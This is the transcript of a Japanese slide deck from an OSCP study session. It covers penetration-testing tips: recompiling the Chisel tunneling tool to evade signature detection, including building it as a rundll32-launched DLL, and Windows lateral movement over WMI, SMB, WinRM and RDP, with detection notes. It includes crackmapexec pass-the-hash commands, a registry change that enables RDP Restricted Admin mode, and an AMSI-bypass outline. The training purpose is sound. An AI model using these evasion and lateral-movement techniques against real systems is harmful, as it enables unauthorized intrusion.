Upgrade to Pro — share decks privately, control downloads, hide ads and more …

ペンテストに関するTIPS

 ペンテストに関するTIPS

主にペネトレーションテストやRed Team業務を対象として、Golangで開発されたツール編集のやり方やリモート操作用サービスの違い紹介の資料です。

Ruslan Sayfiev

August 28, 2023
Tweet

Other Decks in Technology

Transcript

  1. ペンテストに関するTIPS
    Ruslan Sayfiev
    Mizuno Sarii
    OSCP勉強会
    2023年8月26日

    View full-size slide

  2. WHOAMI
    Ruslan Sayfiev(ルスラン)
    • Red Team/PTリーダー@ GMO サイバーセキュリティ by イエラエ
    • 主な知見:Web・NW診断、Cloud/OSINT/Pentest/RedTeam、車系の診断など
    • 資格(思ったより多い):OSWP, OSCP, OSEP, OSCE, OSEE, GXPN, CRTO, CRTL, CRTE, CARTP
    • HackTheBox(やりたいほどできてきていないが):Guru
    水野沙理衣
    • 新卒1年目@ GMO サイバーセキュリティ by イエラエ
    • 9月よりWebアプリーケーション脆弱性診断課
    • PT勉強中
    • SECCON実行委員、CTF for Girls運営(WEB分野講師など)
    • HackTheBox:Hacker

    View full-size slide

  3. 目次
    • カスタムなChiselの作り方
    • Windows環境にリモート操作用プロトコル(概要・検知)
    • WMI
    • SMB(PSExec、 SMBExec)
    • WinRM
    • RDP

    View full-size slide

  4. ※既存Golangアプリのカスタマイズやコンパイル
    カスタムなCHISELの作り方

    View full-size slide

  5. CHISELとは
    • WebSocketを使用したTCPトンネリングツール(トンネル内はSSHで暗号化される)
    • Go言語で作成
    • 「https://github.com/jpillora/chisel」にて入手可能

    View full-size slide

  6. カスタマイズなんているの?
    いくつかの理由の例:
    • 不足している機能の追加開発(例:Kerberos認証)
    • 他のツールへの組み込みなど

    View full-size slide

  7. 1) GOLANG開発環境の準備
    • 該当プラットホーム元に正式サイトからArchive形のGolangをダウンロード・展開
    • 展開したフォルダーにアクセスし、任意のフォルダーを作成する(例:_SRC)
    • 環境変数をエクスポートする(外部から実行する際、フルパスで指定)
    • Mac・Linux
    export GOPATH=go_custom/_SRC
    export GOROOT=go_custom
    export GO111MODULE=off
    • Win
    set GOPATH=C:\go_win_custom\_SRC
    set GOROOT=C:\go_win_custom
    set GO111MODULE=off

    View full-size slide

  8. MAC
    WIN
    https://go.dev/dl/

    View full-size slide

  9. • Githubから最新版のArchive方式のChiselをダウンロードする
    • 「_SRC」フォルダー内に(例:chisel_custom)フォルダーを作って,「main.go」
    ファイルだけを入れておく
    • 「chisel_custom」フォルダーに「cd」する
    2) CHISELと必要なライブラリの準備

    View full-size slide

  10. • そのまま「build」しようとすると、必要なライブラリがないというエラーが発生する
    • 以下の方法によって必要なライブラリの導入が可能
    ※「main.go」ファイルのあるフォルダーから実行!
    • go get -v -d ./...
    または
    • go get github.com/jpillora/chisel

    View full-size slide

  11. 3) CHISELのビルド・カスタマイズ
    • 現時点で基本的にビルドができるようなりました
    • go build main.go (別OS/ARCHの場合、GOOS/GOARCHの設定が必要)

    View full-size slide

  12. • このままのビルドだと、公開リリースビルドとほぼ差がなく、同様に検知され
    ることになります
    • 簡単にStringsツールをかけて、Chiselの文字列で確認しましょう
    • 中身を確認すると、外部ライブラリのインポート名に見える

    View full-size slide

  13. • 「main.go」ファイルを確認すると、「github.com/jpillora/chisel/…」がインポー
    トされていることがわかります

    View full-size slide

  14. • まず、以下の編集を行いましょう
    「github.com/jpillora/chisel」 → 「custom_lib」

    View full-size slide

  15. • コンパイルすると、エラー!
    • インポートされるライブラリ名が変わったため、ソースフォルダーも以下のよ
    うに編集する必要があります
    「_SRC/src/github.com/jpillora/chisel」 → 「_SRC/src/custom_lib」
    ※フォルダー内に「client、server、share」のみのフォルダーを残して大丈夫

    View full-size slide

  16. • 今度コンパイルし直して、「chisel」で検索すると、23回だけ引っかかることが
    わかります。おそらく、Helpなどに含まれている文字列が残っているかと推
    測できます。
    • 実際に中身を確認して、全ての「chisel」文字列を編集しましょう
    「chisel」 → 「OSCPStudy」

    View full-size slide

  17. • 改めてビルドして検索してみると、1個だけが出てくることを確認する。それ
    は、ビルドパスがバイナリ内に含まれるためで、以下の追加フラグによって
    パスやシンボルデータなどの削除が可能です。
    go build -ldflags="-s -w -extldflags=-static" -trimpath main.go

    View full-size slide

  18. • ビルドするバイナリをEXEからDLLにする必要がある場合、以下のように関数を追加して、エクス
    ポートすることで可能です。
    GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -
    buildmode=c-shared -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go

    View full-size slide

  19. • 「Dumpbin」ツールによって、「OffSecRun」関数がエクスポートされていることが
    確認できます。例:「rundll32 chisel.dll,OffSecRun」のコマンドによって実行が可
    能です。

    View full-size slide

  20. 各種OSやアーキテクチャのコンパイル例(Mac環境)
    Linux
    ・ GOOS=linux GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_arm64.elf main.go
    ・ GOOS=linux GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.elf main.go
    ・ GOOS=linux GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.elf main.go
    Windows
    #EXE
    ・ GOOS=windows GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_arm.exe main.go
    ・ GOOS=windows GOARCH=386 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.exe main.go
    ・ GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.exe main.go
    #DLL (MinGWが必要)
    ・ GOOS=windows GOARCH=386 CGO_ENABLED=1 CC=i686-w64-mingw32-gcc go build -buildmode=c-shared -
    ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x32.dll main.go
    ・ GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -
    ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64.dll main.go
    MacOS
    ・ GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_ARM main.go
    ・ GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -trimpath -o chisel_x64 main.go

    View full-size slide

  21. WINDOWS環境にリモート操作用プロトコル
    (概要・検知)

    View full-size slide

  22. WMI (WINDOWS MANAGEMENT INSTRUMENTATION)
    • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続
    • -u Administrator -p ‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用
    • --exec-method wmiexec → コマンド実行のメソッドとしてwmiexecを使用
    • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ)
    WMIの親子プロセス関係

    View full-size slide

  23. • --no-output → 実行結果を出力しない
    WMIの親子プロセス関係

    View full-size slide

  24. • strace → システムコールとシグナルを追跡するプログラム
    • -f → フォークした子プロセスも追跡
    • -e trace=network →ネットワークに関連するシステムコールだけを追跡
    • 2>&1 → 標準エラー出力(stderr)を標準出力(stdout)にリダイレクト
    • grep 'connect(‘ → 出力の中からconnect(という文字列を含む行だけを抽出
    WMIは135ポート+50000+系のポートを使用する
    ※上記では445ポートも使用されているが、使わなくすることも可能
    使用されるポート

    View full-size slide

  25. SMB(PSEXEC)
    手元の端末で実行
    PSExecの親子プロセス関係
    対象端末にPSEXECSVCサービスが作成

    View full-size slide

  26. SMB(SMBEXEC)
    • smb 10.11.14.54 → SMBプロトコルを用いて、指定されたIPアドレス(10.11.14.54)のマシンに接続
    • -u Administrator -p ‘P@ssw0rd‘ → 接続する際にAdministratorというユーザー名とP@ssw0rdというパスワードを使用
    • --exec-method smbexec → コマンド実行のメソッドとしてsmbexecを使用
    • -x 'timeout 10' →リモートマシン上でtimeout 10というコマンドを実行。(何もしないで10秒間待つ)

    View full-size slide

  27. • --no-output → 実行結果を出力しない

    View full-size slide

  28. SMBExec/PSExec系は445ポートを使用する
    使用されるポート

    View full-size slide

  29. WINRM(WINDOWS REMOTE MANAGEMENT)
    WinRMで接続(Invoke-Mimikatzを入力するだけでAMSI機能にセッションが殺される)
    WinRMの親子プロセス関係

    View full-size slide

  30. [Ref].Assembly.GetType(...) → .NETアセンブリから特定の型を取得
    'Sy’ …;$result) → System.Management.Automation.AmsiUtilsの難読化
    .GetField(..., 'NonPublic,Static') → この型に存在する特定の非公開静的フィールドを取得
    .SetValue($null, $true) → この非公開静的フィールドの値をtrueに設定
    内部に実装されているモジュールによる回避は失敗する

    View full-size slide

  31. WinRMは5985ポートを使用する
    ※SSLの場合、5986ポートが使用される
    使用されるポート

    View full-size slide

  32. RDP(REMOTE DESKTOP PROTOCOL)
    一般的には認証情報が手元にあり、入力して入るだけ(MFAなしの場合)ですが、場合によって、
    NTLMハッシュのみが手元にある場合はどうすれば?

    View full-size slide

  33. DisableRestrictedAdminキーを登録する方法:
    crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg add
    HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
    DisableRestrictedAdminを0に設定することで、
    「リモート 資格情報ガード」機能の「制限付き管理 モード」が有効化される
    DisableRestrictedAdminキーを削除する方法:
    crackmapexec smb 10.11.14.54 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42 -x 'reg
    delete HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /f'

    View full-size slide

  34. RDPは3389ポートを使用する
    使用されるポート

    View full-size slide

  35. サマリー
    • ChiselなどのGolangプログラムを含めてカスタマイズしましょう!
    • リモート操作用プロトコルをしっかり理解して、状況に応じて適切に使いま
    しょう!

    View full-size slide

  36. QUESTIONS?
    • Twitter:
    https://twitter.com/cryptopeg
    https://twitter.com/r1154n

    View full-size slide